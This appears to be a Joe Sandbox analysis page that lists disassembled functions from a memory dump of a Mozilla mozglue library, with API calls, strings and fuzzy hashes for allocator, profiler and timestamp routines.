String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: af18a1f1d78be552eb663957bd8412e6eed470eb56b6f980b9a215d414327fdc
Instruction ID: 0eb772bf9908e6596cba5fe7f507e46c04ecbb69b9be0c314c8e5e05914ccc09
Opcode Fuzzy Hash: af18a1f1d78be552eb663957bd8412e6eed470eb56b6f980b9a215d414327fdc
Instruction Fuzzy Hash: A4419CB1600654DFCB10CF65CC80A9ABBF1FF89318F44491EE95A93B40D735A805CF9A

Function 6C5B7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5B7EA7
malloc.MOZGLUE(00000001), ref: 6C5B7EB3

Part of subcall function 6C5BCAB0: EnterCriticalSection.KERNEL32(?), ref: 6C5BCB49
Part of subcall function 6C5BCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C5BCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C5B7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C5B7F19
malloc.MOZGLUE(?), ref: 6C5B7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5B7F4D

Strings

d, xrefs: 6C5B7F89

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 675ea6bd66d6b45139d2589f8201d95b6ef2e13bff29204be089a5a19b7ed3bd
Instruction ID: 83313b412103125404552f21bd1eb796919a6c4a3b35b4f62e64ca8bac2aa9cd
Opcode Fuzzy Hash: 675ea6bd66d6b45139d2589f8201d95b6ef2e13bff29204be089a5a19b7ed3bd
Instruction Fuzzy Hash: 06312671E0438897DB019B39CC409FEB778EF96248F055229ED4967612FB34A988C398

Function 6C5B3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C5B3CCC), ref: 6C5B3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5B3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C5B3CCC), ref: 6C5B4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5B40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C5B3CCC), ref: 6C5B40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C5B3CCC), ref: 6C5B40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5B4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C5B3CCC), ref: 6C5B4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C5B3CCC), ref: 6C5B4157

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 638c05664b1b9703153542f3fbf18edb8bb9a733c28869e8d6ff175399c6a648
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 8AA17EB1A00215CFDB50CF68C89065ABBB5FF88318F2545A9D909AF752D771E886CBA0

Function 6C5A2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C5C3F47,?,?,?,6C5C3F47,6C5C1A70,?), ref: 6C5A207F
memset.VCRUNTIME140(?,000000E5,6C5C3F47,?,6C5C3F47,6C5C1A70,?), ref: 6C5A20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C5C3F47,6C5C1A70,?), ref: 6C5A211A
EnterCriticalSection.KERNEL32(6C62E744,?,6C5C3F47,6C5C1A70,?), ref: 6C5A2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C5C3F47,6C5C1A70,?), ref: 6C5A21BA
EnterCriticalSection.KERNEL32(6C62E744,?,6C5C3F47,6C5C1A70,?), ref: 6C5A21E0
LeaveCriticalSection.KERNEL32(6C62E744,?,6C5C3F47,6C5C1A70,?), ref: 6C5A2232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C5A2253, 6C5A2268
MOZ_CRASH(), xrefs: 6C5A227D

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 86f7b2715af6e9c6877d8ef67d9f51b278ee3edee4ddc2bc8f8011083f56c2d3
Instruction ID: f906794ea276d6b7bf528a3efdfbbbe4a353718c8b8b2fe4fc34d5b5ade621a2
Opcode Fuzzy Hash: 86f7b2715af6e9c6877d8ef67d9f51b278ee3edee4ddc2bc8f8011083f56c2d3
Instruction Fuzzy Hash: 8361C231F002168FCB04CAABCD8A76E76B1EF85318F254639E929A7A94D7749C01CA85

Function 6C5F9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5F8273), ref: 6C5F9D65
free.MOZGLUE(6C5F8273,?), ref: 6C5F9D7C
free.MOZGLUE(?,?), ref: 6C5F9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5F9E0F
free.MOZGLUE(6C5F946B,?,?), ref: 6C5F9E24
free.MOZGLUE(?,?,?), ref: 6C5F9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5F9EC8
free.MOZGLUE(6C5F946B,?,?,?), ref: 6C5F9EDF
free.MOZGLUE(?,?,?,?), ref: 6C5F9EF5

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 787a0062091700d61be2b65576cfdc054fefc4eac589345f2f7d66a646773795
Instruction ID: 14cf36fab5c8c4ff030dd84be57df243b4357bda1339c2fbb0f3b53d882bc4a9
Opcode Fuzzy Hash: 787a0062091700d61be2b65576cfdc054fefc4eac589345f2f7d66a646773795
Instruction Fuzzy Hash: 1E719DB0A09B41CBC716CF58C88059AF3F4FF99314B84965DE95A9B701EB30E886CBD1

Function 6C5FDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C5FDDCF

Part of subcall function 6C5DFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5DFA4B

Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F90FF
Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDE0D
free.MOZGLUE(00000000), ref: 6C5FDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C5EDEFD,?,6C5B4A68), ref: 6C5FDF32

Part of subcall function 6C5FDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5FDB86
Part of subcall function 6C5FDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5FDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C5EDEFD,?,6C5B4A68), ref: 6C5FDF65
free.MOZGLUE(?), ref: 6C5FDF80

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: a93f226ff001548a579bb6d5680957d14381645c5c3d1099f92fa9ebc7e4e195
Instruction ID: e9d9f3a7715c3da00ed2307247d91099d61ff5c943ff41bb846aa0dd65ddfe1b
Opcode Fuzzy Hash: a93f226ff001548a579bb6d5680957d14381645c5c3d1099f92fa9ebc7e4e195
Instruction Fuzzy Hash: C451A3726016009BE7199F28CC806AEB376AFD1308F95051CDA2A53B00DB31F91BCF96

Function 6C605D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605DC9
std::_Facet_Register.LIBCPMT ref: 6C605DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605E45

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 871dac4c81d3ed0953dd66f54eddc66779fee5913753c2f61b4aebdab8ac5640
Instruction ID: e30331564348a2ea0243372d30cab556a56615624ce3625c0d870351296d7690
Opcode Fuzzy Hash: 871dac4c81d3ed0953dd66f54eddc66779fee5913753c2f61b4aebdab8ac5640
Instruction Fuzzy Hash: 65417F307002058FCB14EF6AC9D8AAE77FAEF89314F044469D50AA7791DB34A805CB6D

Function 6C5DCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5A31A7), ref: 6C5DCDDD

Strings

<jemalloc>, xrefs: 6C5DCF9F, 6C5DCFB3
: (malloc) Error in VirtualFree(), xrefs: 6C5DCFA4, 6C5DCFB8

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 59991e841da24b02a7d6701440c61c268d3e8a587b7c6203eb3020ac1d84045a
Instruction ID: 998e27ab659295d1e5994167c4859d8b0af2eea0761ea0fb29930de1b0c23f75
Opcode Fuzzy Hash: 59991e841da24b02a7d6701440c61c268d3e8a587b7c6203eb3020ac1d84045a
Instruction Fuzzy Hash: B031C770B403069BEF11AFAD8C85BAE7775EB81754F214015F611EBA80DB74F900CB99

Function 6C5AECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5AF100: LoadLibraryW.KERNEL32(shell32,?,6C61D020), ref: 6C5AF122
Part of subcall function 6C5AF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5AF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C5AED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5AEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C5AEDCC
CreateFileW.KERNEL32 ref: 6C5AEE08
free.MOZGLUE(00000000), ref: 6C5AEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C5AEE32

Part of subcall function 6C5AEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C5AEBB5
Part of subcall function 6C5AEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C5DD7F3), ref: 6C5AEBC3
Part of subcall function 6C5AEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C5DD7F3), ref: 6C5AEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C5AEDC1

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: ed7730c43932792132b6632c2cd87483b03c9e08a81952d9e3848b32a4ac58d0
Instruction ID: 98bbf4f3ef0777127e5ae27a845bd472b8300f5f5d205e968e16351221157966
Opcode Fuzzy Hash: ed7730c43932792132b6632c2cd87483b03c9e08a81952d9e3848b32a4ac58d0
Instruction Fuzzy Hash: 7551D071D05204CBDB00DFAACC806EEB7B1AF99318F44892DE8556B740E770695ACBA2

Function 6C61A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C61A565

Part of subcall function 6C61A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61A4BE
Part of subcall function 6C61A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C61A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C61A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C61A6B6

Strings

0, xrefs: 6C61A5FB
z, xrefs: 6C61A6AE

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 353ff2b689af6809951fbe571db2c758c231e7299376bf09e47aaffb2fa8d897
Instruction ID: 915c25c0bad6a613ca7e3937631c18ba55314a02d7f2e53d91269edd6a871d94
Opcode Fuzzy Hash: 353ff2b689af6809951fbe571db2c758c231e7299376bf09e47aaffb2fa8d897
Instruction Fuzzy Hash: 4241357190C7459FC341DF28C480A8EBBE5BF89354F409A2EF49987651EB30EA49CB86

Function 6C5E9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
__Init_thread_footer.LIBCMT ref: 6C5E949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5E9459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5E946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5E947D

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 289ca0ae295a1d3219f54df93742441ce228b5671d617e7840185ce4a8ec480a
Instruction ID: 0081f0393451ff0e005ba07dd94fe2a75616aa04fe90c0196bb49f527cd3ec27
Opcode Fuzzy Hash: 289ca0ae295a1d3219f54df93742441ce228b5671d617e7840185ce4a8ec480a
Instruction Fuzzy Hash: EA012430A0021197E7009B6EDC80A8A33B5AF4A329F040536ED0AC6F42E67BE8558D5F

Function 6C5F0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5F0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5F0F88
GetCurrentThreadId.KERNEL32 ref: 6C5F0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C5F1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5F10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C5F114B

Part of subcall function 6C5E8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C601563), ref: 6C5E8BD5

free.MOZGLUE(?), ref: 6C5F1174
free.MOZGLUE(?), ref: 6C5F1186

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 441e54d5f1ba146d7dba0d672967579636dd037b5972535edb80b6b7507001c5
Instruction ID: 5dc4cd5d72cd9a2c8126551d804169add4fd2bfe7fd077f56d23809184040024
Opcode Fuzzy Hash: 441e54d5f1ba146d7dba0d672967579636dd037b5972535edb80b6b7507001c5
Instruction Fuzzy Hash: 96618B75A043449BDB14DF25CC80B9AB7F6AFC5308F04891DE8A957712EB71E84ACF86

Function 6C5AB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB6AC

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C5AB61E), ref: 6C5AB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB79A

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 86040440a6b5a666add629f8f4769de8ca988bcfd99eaa29ce1d05a203c244f9
Instruction ID: 0eaa3da87508b8389fc69d7f1b5e92b83b5973571bb3e035c648cbd8645011f0
Opcode Fuzzy Hash: 86040440a6b5a666add629f8f4769de8ca988bcfd99eaa29ce1d05a203c244f9
Instruction Fuzzy Hash: 7D41D4B2D001199FCB00EFA9DC805AEB7B5FB85324F250629E825E7790E771AD0587D1

Function 6C5AEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C625104), ref: 6C5AEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5AEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5AEFEC
free.MOZGLUE(?), ref: 6C5AF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5AF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C5AF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5AF065
moz_xmalloc.MOZGLUE ref: 6C5AF072

